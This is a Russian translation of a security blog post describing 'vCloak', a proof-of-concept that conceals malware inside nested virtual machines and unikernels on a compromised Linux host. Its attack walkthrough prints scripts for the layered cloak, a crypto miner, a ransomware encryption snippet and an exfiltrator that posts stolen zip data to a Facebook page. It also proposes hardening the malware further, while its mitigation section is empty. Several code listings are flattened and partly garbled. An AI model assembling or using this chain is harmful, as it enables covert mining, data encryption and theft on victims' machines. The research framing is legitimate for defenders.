Русский
Русский
English
Статистика
Реклама

Надежный vds

Перевод Виртуалка-камуфляж Вредоносный подход к виртуализации

28.05.2021 14:21:34 | Автор: admin


Виртуализация это палка о двух концах

Победоносное развитие облаков в последние годы можно связать с постепенным совершенствованием сразу множества технологий, относящихся как к аппаратному, так и к программному обеспечению. Но, наверное, наиболее известна технология, в которой две эти области смыкаются: речь о виртуализации. Упрощенно говоря, виртуализация это акт абстрагирования аппаратных компонентов (например, процессора, памяти, дисковых приводов, т.д.) и представления их на программном уровне, который динамичнее аппаратного и лучше масштабируется. Данная ключевая характеристика виртуализации располагает к созданию заказных, надежных, высоко доступных онлайновых сервисов, используемых по требованию сегодня это называется облако.

Однако, в этой великой технологии, выводящей на новые парадигмы, кроется и темная сторона. Есть производители облаков, годами извлекавшие пользу из того абстрагирования, что обеспечивается при помощи виртуализации и применяется, чтобы вас защитить, а есть и злоумышленники, вскоре осознавшие, как виртуализацию можно обратить против вас. В последние годы наблюдаются некоторые угрозы одни из них лишь продуманы концептуально, другие уже встречаются на практике применяющиеся при вторжениях для маскировки вредоносной активности. Это деструктивная виртуализация или, как мы ее называем, виртуальный камуфляж.

В этой публикации мы расскажем, кто может стать жертвой таких приемов, дадим обзор исследований, направленных на понимании этого сегмента угроз с учетом новейших приемов виртуализации, подробно разобравшись в vCloak (виртуальном камуфляже) для Linux. Это PoC-проект, позиционируемый как доказательство осуществимости. Мы создадим многоуровневое закамуфлированное вредоносное ПО, которое будет незаметным и минималистичным, но все равно будет обладать той портируемостью, персистентностью и надежностью, для достижения которых применяется виртуализация. Мы хотим развеять мифы, касающиеся этого нового вектора атак и помочь вам лучше понять, как устроен этот новый вектор атак, и объяснить, каким образом злоумышленник может воспользоваться виртуализацией в качестве оружия. Не поленитесь дочитать: в качестве бонуса мы расскажем и о некоторых способах смягчения вредоносности этих атак.

Предыстория виртуализации


Как упоминалось выше, виртуализация это акт абстрагирования аппаратного обеспечения. Но, чтобы лучше понять материал этого поста, нужно углубиться в тему немного сильнее. Итак, давайте перенесемся к тому моменту, с которого началась эпоха виртуализации. Идея виртуализовать аппаратное обеспечение не нова; ее корни можно проследить до 1960-х, когда IBM потратила немало сил на реализацию новой концепции под названием разделение времени (рис. 2).В простейшем виде концепция сводится к следующему: пользователи могут совместно использовать процессор благодаря непрерывному сверхскоростному переключению контекстов. К этой идее удалось прийти, заметив, что каждый пользователь успевает потребить лишь малую толику потенциала всего компьютера. Учитывая, что в те времена компьютер занимал целую комнату и стоил около 20 миллионов долларов США (с поправкой на инфляцию), казалось целесообразным использовать его на полную. Современная виртуализация опирается на тот же принцип совместное использование ресурсов машины, но с поддержанием логического разделения.


Рис. 1: Пульт управления IBM 7094, где была впервые реализована концепция разделения времени (изображение принадлежит пользователю Wikipedia ArnoldReinhold, лицензировано подCreative Commons BY-SA 3.0)

С чего начиналась современная виртуализация


В статье Formal Requirements for Virtualizable Third Generation Architectures (Формальные требования к виртуализируемым архитектурам третьего поколения)Джеральд Попек и Роберт Голдберг ввели первую четко определенную модель виртуализации, заложившую основы концепций, применяемых по сей день (рисунок 3). В этой статье были представлены некоторые базовые требования к виртуализации, а также классифицированы и проанализированы различные машинные команды. Ниже в формате шпаргалки дан обзор вышеупомянутых концепций.


1971 Representation // Как виртуализацию видели в 1971

Modern Representation // Современное представление

VMM // Монитор виртуальной машины

Hardware // Железо

VM // Виртуальная машина

Applications // Приложения

Operating System // Операционная система

Virtual Machine // Виртуальная машина

Virtual Machine Monitor // Монитор виртуальной машины

Physical Machine/Hardware // Физическая машина/железо

Рисунок 2: Сравнение: представление Попека и Голдберга vs современное обобщенное представление (взято изusenix)

Глоссарий по виртуализации


  • Гипервизор/VMM (Монитор виртуальной машины) мозг, обеспечивающий виртуализацию: он абстрагирует, изолирует виртуальное аппаратное железо и управляет им.
  • Хост-машина машина (физическая или виртуальная), на которой выполняется VMM
  • Гость /VM/Виртуальная машина машина, основанная на абстрактном аппаратном обеспечении и изолированном программном, предоставляемом machine VMM
  • Кольца защиты:
  • Четыре периметра (кольцо 0 кольцо 3) иерархии предметной области, обеспечиваемые на аппаратном уровне
  • Применяется для отграничения пространства ядра (обычно кольцо 0) от пользовательского пространства (обычно кольцо 3) или гостевой VM от хостовой VM/VMM
  • Железо проверяет текущий уровень привилегий(CPL), указанный вCS (сегменте с кодом)выполняющего процесса, сравнивая этот показатель сDPL (уровнем привилегий дескриптора), относящимся к целевой области памяти
  • Привилегированные инструкции:
  • Как правило, необходимо выполнять в кольце 0
  • Управляют критически важным низкоуровевым исполнением (HLT,LIDT)
  • Отображение в памяти (INVLPG)
  • Чтение/запись в специальные регистры (RDMSR,WRMSR,MOVCRx)
  • Могут предоставлять неограниченный доступ к хостовой OS
  • Чувствительные инструкции чтение и запись в MMIO (ввод-вывод через память) и устройства ввода/вывода (IN/OUT,MOV <MEMORY_MAPPED_REGISTER>)
    Эти инструкции действуют по-разному в зависимости от того, в каком кольце защиты находятся (POPF)
    Могут предоставлять неограниченный доступ через гостевую VM
  • Инструкции перехвата перехват команд и перенаправление логики управления
  • Эмуляция Программы, действующие как имитация аппаратного обеспечения с издержками на трансляцию
  • Полная виртуализация:
  • Критически важные инструкции, обнаруживаемые статически или динамически и заменяемые прерываниями, которые инициируют эмулированное выполнение
  • Работает весьма медленно из-за издержек, связанных с эмуляцией
  • Паравиртуализация:
  • Эмуляция с учетом присутствия гостевой системы, заменяющая чувствительные инструкции API-вызовами к гостю
  • Работает весьма быстро, но при этом негибко, поскольку гостя нужно модифицировать
  • Виртуализация с аппаратной поддержкой
  • Абстрагирование и поддержка чувствительных инструкций с поддержкой на уровне железа
  • Наиболее эффективный вариант, но зависит от архитектуры (напр., x86 vs AMD)


Рисунок 3: Типы виртуализации

Virtualization // Виртуализация

Bare metal hypervisors // Гипервизоры для голого железа

Hosted Hypervisors // Хостовые гипервизоры

Emulators // Эмуляторы

Hardware virtualiaztion // Аппаратная виртуализация

Интуитивное представление о виртуализации


В вышеприведенном глоссарии, как и в любой шпаргалке, для полноты восприятия не хватает контекста, зато много модных словечек (см. рис. 4). Мы попытаемся обобщить важнейшие из перечисленных элементов, пожертвовав некоторыми деталями для большей ясности. Как понятно из глоссария, один из самых сложных участков работы при виртуализации связан с обработкой привилегированных/чувствительных инструкций.

Привилегированными называются такие инструкции, которые позволяют вызывающей стороне получить контроль над критически важными ресурсами. Они принципиально важны для защиты системы от вредоносных действий и неконтролируемых программ из пользовательского пространства. Таковы, например, инструкции HLT (контроль потока выполнения в CPU с возможностью приостановки), влияние на отображение в памяти путем инвалидации страничных записей в буфере ассоциативной трансляции(INVLPG) или доступ к специальным регистрам (RDMSR, WRMSR, MOV CR). Привилегированные инструкции могут предоставить неограниченный доступ хост-машине (например, контроль над всеми обработчиками прерываний).

Чувствительные инструкции можно трактовать как инструкции, привилегированные с точки зрения гостя. К их числу относятся такие операции как взаимодействие с устройствами ввода/вывода (IN/OUT), запись в регистры, отображаемые в память (MOV ) или такие инструкции, которые работают по-разному в зависимости от того, в каком кольце защиты выполняются; такова, например, запись в регистр EFLAGS (POPF). Чувствительные инструкции могут предоставить неограниченный доступ к гостевой машине (например, запись непосредственно в устройства ввода/вывода и получение хост-привилегий).

Кольца защиты применяются для перехвата привилегированных инструкций и активации ядра для обработки их выполнения. Однако не так давно еще не существовало аппаратной поддержки для подобного подхватывания чувствительных инструкций, что не обязательно представляет опасность для хоста, но вот для гостя та еще точка отказов. Приемы, основанные на работе с программным обеспечением, в частности, эмуляция с использованием статической или динамической двоичной трансляции или паравиртуализации через модификацию гостя применяются, но ценой серьезного снижения производительности/гибкости.

В качестве решения была введена аппаратная поддержка для чувствительных инструкций, это было сделано путем добавления еще одного кольца безопасности (также называемого кольцо 1 или режим администратора). Широкое распространение такая практика получила в 2005 и 2006, когда Intel и AMD представилиVT-xиAMD-V, соответственно. Изначально оптимизация была очень проста, и лишь немногие операции по виртуализации обладали аппаратной поддержкой. Но вскоре такая поддержка распространилась и на многие другие операции, в частности, на виртуализацию блока управления памятью (MMU). В настоящее время виртуализация с аппаратной поддержкой является предпочтительным решением, так как обладает эксплуатационными достоинствами и повышенным уровнем безопасности, а также позволяет удерживать на минимуме издержки по производительности что бесценно в облачной среде.

Виртуализуй и защищай



Рисунок 4: Стек KVM-QEMU и соответствующий поток (изображение представлено пользователем ВикипедииV4711, по лицензииCreative Commons BY-SA 4.0)

Важнейший довод в пользу виртуализации использовать ресурсы по максимуму, в то же время, обеспечивая защищенность ресурсов, и их изоляцию друг от друга. Современные гипервизоры, оснащенные новейшими программными и аппаратными возможностями, позволяют создавать разнообразные изолированные виртуальные машины; от классических полнофункциональных операционных систем (скажем, Ubuntu) до современных минимальных MicroVM, выполняющих легковесные ядра (напр., Firecracker + OSv). Изоляция ресурсов, например, памяти, устройств файловой системы и ядра защищает от вмешательства взломанной гостевой VM как хостовую виртуальную машину, так и другие гостевые виртуальные машины.

Например, если на гостевой VM был успешно выполнен эксплойт ядра, и злоумышленник получил на ней права администратора, он все равно не пробьется через изоляцию. Если он не располагает уязвимостью гипервизора, то хост-VM и другие гостевые VM вторжением затронуты не будут, поскольку у них и у взломанной машины ядра отличаются. Как и любая другая стратегия защиты, виртуализация не решает всех проблем; с виртуализацией связаны и присущие только ей уникальные векторы атак. Вот несколько примеров специфических атак, направленных именно на уязвимость виртуализации:

  • Драйверы и совместное использование (Рисунок 5, Круг #1):
  • Мгновенные снимки (Рисунок 5, Круг #2):
  • Побег из песочницы (Рисунок 5, Круг #3):
  • Типы уязвимостей:


Виртуализуй и атакуй


Многие базовые принципы, благодаря которым виртуализация оказывается столь эффективным и универсальным защитным подходом, можно превратить в оружие. Сама идея не нова, исследования подобных угроз уже производились. Можно упомянуть программу Bashware, показавшую, как WSL (виртуализованное решение для выполнения подсистемы Linux под Windows) может быть взято на вооружение для сокрытия вредоносов от всех современных защитных механизмов.

14 мая 2020 года эта теория как следует подтвердилась на практике, когда новости заполонили сообщения о новом штамме-вымогателе под названием RagnarLocker. Его жертвами стали крупные компании, работающие в сфере игр, энергетики и алкоголя. Небольшой VirtualBox, доверенный и снабженный цифровой подписью, выполнял маленькую виртуальную машину Windows XP (менее 500 мб), что позволяло ему тайно зашифровать и выудить данные с машины жертвы. Позже в том же году почти такая же стратегия была применена картелем Maze.

Во всех атаках, рассмотренных выше, использовался VirtualBox,и в качестве контейнера для вредоносов он довольно тяжеловесен. Кроме того, он не опирается на преимущества виртуализации с аппаратной поддержкой. Прежде, чем углубиться в тему, давайте подробнее рассмотрим, какими качественными аспектами виртуализации может воспользоваться злоумышленник:

  • Доверенный гипервизор если гипервизор является доверенным, то выполняющий его гость также является доверенным
  • Бэкдор злоупотребляя доверительным статусом, который дает гипервизор, можно скомпрометировать данные хоста, поделившись файлами, каналами данных или совместно используя уязвимости гипервизора
  • Практическая невидимость современные механизмы защиты не видят внутреннего состояния VM
  • Присущее технологии закрепление SSL-сертификата на сертификаты MicroVM не влияет конфигурация хоста, и они скрыты от нее (поэтому они ускользают от анализа трафика с применением SSL MITM)
  • Присущее технологии камуфлирование вся ОС выглядит как единственный процесс, поэтому заглянуть внутрь виртуальной машины затруднительно даже с благими намерениями, тем более, что эту маскировку можно даже усилить
  • Полностью контролируется атакующим упрощает разработку, поскольку полезная нагрузка подразумевает высокие привилегии
  • Портируемость высокая портируемость, поскольку вся полезная нагрузка действует поверх виртуализованного самодостаточного окружения
  • Персистентность планировщики операционной системы могут поднимать виртуальные машины, и состояние можно с легкостью сохранять (ShadowBunny)
  • Эффект неожиданности такой вектор атаки до сих пор воспринимается в новинку, и пока не очень хорошо исследован

При крупном вторжении от виртуализации одна польза. Предложения можно суммировать в виде доверенной единицы выполнения и осуществлять с их помощью операции, в ином контексте вызывавшие бы подозрения, например, без лишнего шума выполнять вредоносный код и красть данные. Такие выгоды сохраняются потому, что технология виртуализации по-прежнему достаточно нова, а такой темный аспект виртуализации пока не получает должного внимания. Как было упомянуто во введении к этому посту, здесь мы попытаемся подсказать вам информацию и инструменты, позволяющие защититься от таких угроз. Для этого рассмотрим проблему с точки злоумышленника и пошагово разработаем доказательство осуществимости такого вторжения через виртуализацию.

Виртуализация с аппаратной поддержкой и KVM


Диверсионный функционал в нашем учебном проекте реализуется во многом при помощи гипервизора, находящегося как в пространстве ядра, так и в пользовательском пространстве. В этом исследовании мы экспериментировали с некоторыми свободными реализациями; подробный анализ их внутреннего устройства выходит за рамки этого поста.

Проще говоря, виртуализация с аппаратной поддержкой возможна благодаря двум дополнительным режимам работы процессора (привилегии администратора для VMM и их отсутствия для гостя), а также особым инструкциям Intel, написанным на ассемблере (для эффективного перехвата), которые в большинстве своем выполняются ядром. Вот несколько примеров:

Режим администратора

  • VMXOFF, VMXON
  • VMWRITE и VMREAD

Непривилегированный (гостевой) режим

  • VMLUANCH и VMRESUME

VMLUANCH устроен немного иначе, так как может выполняться с гостевой VM, чтобы уступать контроль ядру, либо переключаясь на ядро при помощи прерывания (о чем мы уже говорили во введении) или VMEXIT. Задача его напарника из пользовательского пространства выделять все структуры памяти, определять обработчики VMEXIT в соответствии с различными нуждами VMEXIT и прикреплять другие эмулированные/виртуализованные ресурсы.

К счастью, для тех, кто не хочет все строить с нуля, в современном ядре Linux поддерживается KVM (kvm.ko); этот модуль ядра фактически превращает ядро Linux в гипервизор. KVM предоставляет возможности Intel VT-x через интерфейс ioctl (2). Также KVM активно использует встроенные возможности ядра Linux для управления песочницами, которые (в усиленной версии) более известны как виртуальные машины.

История атаки


Такая атака подразумевает привилегированное использование скомпрометированной хост-машины с Ubuntu, на которой включена функция VT-x. Атака использует вредоносные информационные нагрузки (майнеры и вымогатели), незаметно выполняясь на скомпрометированном хосте, прикрытая самодельной виртуальной маскировкой (Рисунок 6)

  1. Привилегированный процесс ветвит и распаковывает vCloak1 в дочерний процесс (предполагается)
  2. vCloak1 конфигурирует и выполняет уровень (L1) нашего камуфляжа, виртуальную машину Ubuntu Minimal на QEMU.
  3. Из Ubuntu vCloak2 конфигурирует и выполняет уровень 2 (L2) нашего камуфляжа, это три приложения OSv (будет объяснено ниже):


Время засучить рукава! Для большей удобочитаемости мы пропустим некоторые фрагменты кода, а другие подробно разберем.Приглашаем вас полностью исследовать код к этой реализации, а также связанные с ним инструменты и информацию; все это лежит в репозитории, ссылка на который дана ниже.



Рисунок 5: Ход атаки

Подготовка камуфляжа для уровня 1


Построим vCloak1, который позволит нам выполнить первый уровень нашей маскировки. Воспользуемся минимальной виртуальной машиной под Ubuntu (мы могли бы с тем же успехомскомпилировать Ubuntu для firecracker) с QEMU. Этот этап реализован при помощи vcloak1.sh, который автоматически выполняется предположительно привилегированной точкой входа:

attacker@host:~$ git clone https://github.com/ch-mk/vCloak.gitattacker@host:~$ cd PoCattacker@host:~/PoC$ cat vcloak1.sh# запускаем демон virtio, чтобы предоставить файлы хостаvirtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntuqemu-system-x86_64 \-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \-device vhost-user-fs-pci,chardev=char0,tag=myfs \-object memory-backend-memfd,id=mem,size=4G,share=on \-numa node,memdev=mem \attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа


Листинг 1: Строим уровень 1 виртуального камуфляжа, минимальный вариант Ubuntu на QEMU с virtiofs

В этот момент мы достигли первой границы виртуализации. Как только vCloak1 закгрузится, он выполняет vCloak2, конфигурирующий и выполняющий второй уровень нашего камуфляжа.

Подготовка камуфляжа для уровня 2


vCloak2 выполняет ядро VT-x с минимальной системной обвязкой (Unikernel) изнутри виртуапьной машины. Таким образом, наша гостевая виртуальная машина с уровня 1 также должна поддерживать KVM и VT-x (это легко проверить; см. листинг 2), поэтому он может служить в качестве отдельной хост-машины. Такая рекурсивная возможность известна под названием Вложенная виртуализация.

attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVMkvm_intel 282624 0kvm 663552 1 kvm_intel

Листинг 2: Проверяем KVM и собираем уровень 2 нашего камуфляжа

Второй уровень нашего камуфляжа реализован в виде скрипта vcloak2.py, который автоматически выполняется задачей crontab. Он выполняет три разные виртуальные машины с технологией firecracker, которые могут коммуницировать через разделяемый сокет. На каждой VM выполняется ядро Unikernel, передаваемое в виде kernel.elf, с единственным процессом, выполняемым из корневой директории (/) файловой системы, передаваемой как fs.img. Чуть ниже мы объясним природу этих процессов, но пока просто опишем начальную настройку и выполнение типичной виртуальной машины с технологией firecracker.

attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontabdef main(options):# Проверяем, установлен ли firecracker is installeddirname = os.path.dirname(os.path.abspath(__file__))firecracker_path = find_firecracker(dirname, options.arch)# Firecracker установлен, так что начнемprint_time(Start)socket_path = '/tmp/firecracker.socket'if options.api:firecracker = start_firecracker(firecracker_path, socket_path)# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машиныkernel_path = options.kernelif not kernel_path:kernel_path = os.path.join(dirname, '../build/release/kernel.elf')qemu_disk_path = options.imageif not qemu_disk_path:qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')raw_disk_path = disk_path(qemu_disk_path)cmdline = options.executeif not cmdline:with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:cmdline = f.read()if options.arch == 'aarch64':cmdline = console=tty --disable_rofs_cache %s % cmdlineelse:cmdline = --nopci %s % cmdlineclient.configure_machine(options.vcpus, memory_in_mb)print_time(Configured VM)client.add_disk(raw_disk_path)print_time(Added disk)if options.networking:client.add_network_interface('eth0', 'fc_tap0')client.create_instance(kernel_path, cmdline)print_time(Created OSv VM with cmdline: %s % cmdline)if not options.api:if options.verbose:print(client.firecracker_config_json())firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())else:client.start_instance()print_time(Booted OSv VM)attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontabattacker@vcloak1:~$ sudo apt update

Листинг 3: vcloak2.py выполняет три контейнера VT-x

Пока все нормально, но что же выполняют эти инстансы firecracker? Для затравки в истории об атаке уже упоминалось, что они выполняют приложения OSv. OSv это свободное универсальное модульное ядро вида unikernel, рассчитанное на безопасную поддержку единичногонемодифицированного приложения Linux в виде microVM поверх гипервизора, в результате чего получается минимальное ядро, совместимое с Linux на уровне двоичного кода.Такие решения как OSv это, по сравнению с MicroVM, уже следующий шаг на пути к минимализму; когда по ядру unikernel создается на каждое приложение, получается приложение OSv с ядром, ужатым до сухого остатка.

Рассмотрим, как просто собрать приложение OSv из нативного кода на C++:

attacker@vcloak1:~$ sudo apt updateattacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-devattacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repositoryattacker@vcloak1:~$ cd osvattacker@vcloak1:~/osv$ git submodule update --init recursive # install # install examples and other dependenciesattacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world apptotal 40-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifestattacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code#includeint main(){printf(Hello from C code\n);return 0;}attacker@vcloak1:~/osv$ ./scripts/build image=native-example #lets wrap out app with OSv unikernelattacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv buildOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /helloHello from C code

Листинг 4: Сборка и запуск простой программы на C, где OSv служит оберткой

Аналогично, можно собрать приложение OSv и на Python:

In a very similar way we can build an OSv app with python:attacker@vcloak1:~/osv$ ./scripts/build image=python2xattacker@vcloak1:~/osv$ ./scripts/run.pyOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /pythonPython 2.7.18 (default, Aug 4 2020, 11:16:42)[GCC 9.3.0] on linux2Type help, copyright, credits or license for more information.>>>


Листинг 5: Собираем и запускаем простую программу на python с OSv в качестве обертки

Как было кратко продемонстрировано выше, OSv это мощный и легкий способ превращать обычные приложения в приложения Unikernel. В комбинации с микро-виртуальной машиной, например, с Firecracker (или даже с еще более мелкими вариантами аппаратной виртуализации), создается минимальная и при этом высокопроизводительная виртуализованная полезная нагрузка. Подробнее об этом отличном продукте рассказано на странице OSv в GitHub. На данном этапе все, что нам остается доделать написать нужный код на python для каждого из трех приложений OSv, как мы и обещали.


Рисунок 6: Вложенная виртуализация порой бывает немного запутанной

Вложенная виртуализация


Мы рассмотрели, как уровень за уровнем создавался наш камуфляж, и проследили развертывание вредоносного ПО от первого привилегированного выполнения до создания множества минимальных ядер Unikernel, образующих второй уровень нашего камуфляжа. Эти ядра Unikernel (уровень 2) виртуализованы с применением VT-x, KVM и firecracker поверх другой виртуальной машины с Ubuntu (уровень 1), хотя, firecracker также может использоваться на этом уровне.

Такое зачаточное состояние достижимо благодаря вложенной виртуализации возможности, поддерживаемой KVM. Такая виртуализация позволяет гостевой машине выступать в качестве хост-машины. В этой статье я весьма вольно употреблял термин уровень камуфляжа, поэтому смысл данного термина, возможно, будет понятнее, е6сли сравнить его с терминами KVM для описания вложенной виртуализации (т.e., L1 это виртуальная машина, исполняемая с физического хоста; L2 это виртуальная машина, выполняемая с гостевой машины L1).

Создание майнера


В ходе описываемых исследований предпринималось множество попыток маскировки, создавались как опенсорсные майнеры, пригодные для реального использования, так и минималистичные инструменты такого рода, которые могут послужить только в качестве доказательства осуществимости. Для простоты картины быстро презентуем опенсорсный майнер, разработанный subhan-nadeem:

attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматическиimport hashlibdef get_sha_256_hash(input_value):return hashlib.sha256(input_value).hexdigest()def block_hash_less_than_target(block_hash, given_target):return int(block_hash, 16) < int(given_target, 16)# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)blockData = \'01000000000000000000000000000000000000000000000000000000000000000000000' \'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \.encode()# Исходная цель  так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойнаtarget = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'solution_found = Falseblock_data_hexadecimal_value = int(blockData, 16)nonce = 0while not solution_found:block_data_with_nonce = block_data_hexadecimal_value + nonce# Найти двойной хешfirst_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())second_hash = get_sha_256_hash(first_hash.encode())print('Nonce: ' + str(nonce))print('Block hash:')print(second_hash)print('Is the block hash less than the target?')solution_found = block_hash_less_than_target(second_hash, target)print(solution_found)if not solution_found:nonce += 1


Листинг 6: Фрагменты кода из майнера

Создаем код вымогателя

Точно, как и в случае майнеров, на роль вымогателей было протестировано много решений. Но ради ясности мы рассмотрим PoC-версию вымогателя под авторством guihermej:

attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически# Открыть файлfile_name = foto.jpgfile = open(file_name, rb)file_data = file.read()file.close()# Удалить файл#os.remove(file_name)# Зашифровать данные файла (при помощи AES)key = 0123456789abcdef # 16-байтный ключ  замена для вашего ключаaes = pyaes.AESModeOfOperationCTR(key)crypto_data = aes.encrypt(file_data)# Сохранить файлnew_file_name = file_name + .pyransom # Путь, чтобы сбросить файлnew_file = open(new_file_name, 'wb')new_file.write(crypto_data)new_file.close()


Листинг 7: Фрагменты кода из вымогателя

Создание извлекателя


Задача этого компонента проста. Он слушает ввод, поступающий либо от майнера, либо от вымогателя, после чего в безопасном виде отсылает его доверенным API (напр., Facebook). В данной части мы получаем так называемое свободное закрепление SSL-сертификата. Опять же, стоящие перед нами задачи мы решим, воспользовавшись силой опенсорса. На этот раз мы базируем наш код на проекте с GitHub от zone13.

attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматическиimport facebook, time, base64, textwrapdef main():cfg = {# Заполняем идентификатор страницы и обращаемся к токену, приведенному нижеpage_id : ,access_token : }api = get_api(cfg)# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64msg = file_read_into_array()# Вычисляем, сколько постов нужно сделатьchunks = (len(msg) / float(50000))if isinstance(chunks, float) or (a == 0):chunks = int(chunks) + 1# Дробим данные base-64 на фрагменты по 50 000 символов каждыйfile_array = textwrap.wrap(msg, 50000)# Публикуем данные на странице Facebookfor i in range(chunks):status = api.put_wall_post(Part#### + str(i) +   + file_array[i])time.sleep(0.5)# Функция для чтения zip-файла и кодировки base-64def file_read_into_array():with open(secret.zip, rb) as f:a = f.read()encoded_data = base64.encodestring(a)return encoded_data# Основная функция для публикации данных на Facebookdef get_api(cfg):graph = facebook.GraphAPI(cfg['access_token'])resp = graph.get_object('me/accounts')page_access_token = Nonefor page in resp['data']:if page['id'] == cfg['page_id']:page_access_token = page['access_token']graph = facebook.GraphAPI(page_access_token)return graphif __name__ == __main__:main()

Листинг 8: Фрагменты кода Извлекателя

Повторение и анализ


Повторим, что нам удалось. В качестве доказательства осуществимости мы написали вредоносный код, который майнит, шифрует и выуживает данные из пораженного хоста. Первичная полезная нагрузка образует первый уровень камуфляжа (или виртуализации) при помощи микро-виртуальной машины на основе Ubuntu, которой, предположительно, доверяет хост.

Отсюда и в дальнейшем память всех различных процессов будет представлена как единый сплющенный двоичный блоб. Все вызовы API и экосистема ОС, заключенные в MicroVM, извне невидимы. На сертификатах MicroVM не отражается конфигурация хоста, эти сертификаты скрыты от хоста (в частности, это позволяет спрятаться от инструментов анализа трафика, воспользовавшись защитой SSL MITM).


Рисунок 7: Программный стек vCloak; цветными линиями обозначены границы отдельных областей виртуализации

Как только MicroVM завершит процесс загрузки, она загрузит три разных ядра Unikernel, основанных на VT-x и Firecracker, и в этих ядрах будет содержаться вредоносная логика. При помощи таких Unikernel-ядер в модель памяти вносится еще один уровень хаоса, не только потому, что здесь добавляется еще один слой виртуализации, но и потому, что у ядра Unikernel пространство пользователя и пространство ядра не отделены друг от друга. Из-за всего этого коверкания серьезно усложняется работа оператора первой хост-машины, который обнаружил первый слой камуфляжа и хочет обратить вспять его логику.

Получившееся в результате многоуровневое замаскированное вредоносное ПО не только коварно как никогда, но и имеет минимальный размер, и поэтому отлично портируется. Поскольку виртуальная машина предоставляет все окружение, снижается вероятность отказа из-за вычислимости или проблем с зависимости.

Дальнейшие исследования и оптимизация



Рисунок 8: Таблица для самопроверки

В вышеприведенной таблице показаны различные приемы (столбцы с рисунка 9), организованные по признаку аспектов атаки и целесообразности того или иного вектора атаки (первая строка с рисунка 9). Приемы, рассмотренные в этой статье, перечислены в зеленых клетках, а другие ракурсы, также затронутые нами в ходе исследования в белых клетках. Прежде, чем мы попытаемся дать некоторые советы и завершить этот пост, давайте уделим внимание укреплению нашего вредоносного ПО с применением приемов, упомянутых в белых клетках вышеприведенной таблицы (рисунок 8).

  • Извлекатель для совместно используемой памяти можно настроить извлекатель так, чтобы он делился памятью с вредоносами и тем самым не так сильно светил разделяемые данные.
  • Извлекатель для совместно используемой сети в некоторых случаях бывает более рационально воровать данные через какой-нибудь сетевой протокол, поскольку за ним могут следить не столь пристально.
  • Вредоносы для промышленного использования мы экспериментировали с реальными вредоносами, например, xmrig и GonnaCry, и оба можно обернуть в виртуалку без труда.
  • Среда времени исполнения как vCloak1, так и vCloack2, могут быть представлены в виде минимальной VM, MicroVM, Unikernel или просто крошечного загружаемого ELF, если вложенная виртуализация не требуется. Весь этот уровень опционален.
  • Гипервизор пользовательского пространства На протяжении всего этого экскурса используется firecracker, но можно реализовать более компактный гипервизор для пользовательского пространства, чтобы еще сильнее ужать полезную нагрузку.
  • Гипервизор пространства ядра может быть подготовлена собственноручно сделанная альтернатива KVM, которая позволила бы ужать полезную нагрузку и расширить возможности блокировки, но это уже тема для отдельной статьи alternative can be produced to reduce payload size and add cloaking abilities.
  • Укрепление Можно сделать камуфляж еще эффективнее, воспользовавшись новыми возможностями, например, MAP_EXCLUSIVE, SGX или SVE\SME для более полного сокрытия памяти.
  • Расширенная область атаки на хост такими возможностями мы не пользуемся, поскольку их обсуждение выходит за рамки этой статьи. Правда, известны уязвимости, которые позволили бы сделать камуфляж еще эффективнее.

Наконец, нельзя не упомянуть: хотя это и не относится к целям данного исследования, выяснилось, что с гипервизорами тем более удобно работать, как эти программы популярны, в них известно много уязвимостей, а частота обновлений гипервизоров варьируется. Можно воспользоваться уязвимостями гипервизоров для повышения эффективности камуфляжа. Гонка между злоумышленниками и охранителями сетей бескомпромиссная и непрестанная. Надеемся, что информация, изложенная в этой статье, немного поможет читателям войти в тему.

Инструменты


Занимаясь исследованием виртуализации, я создал несколько инструментов, которые помогли мне в этих изысканиях:


Устранение угрозы


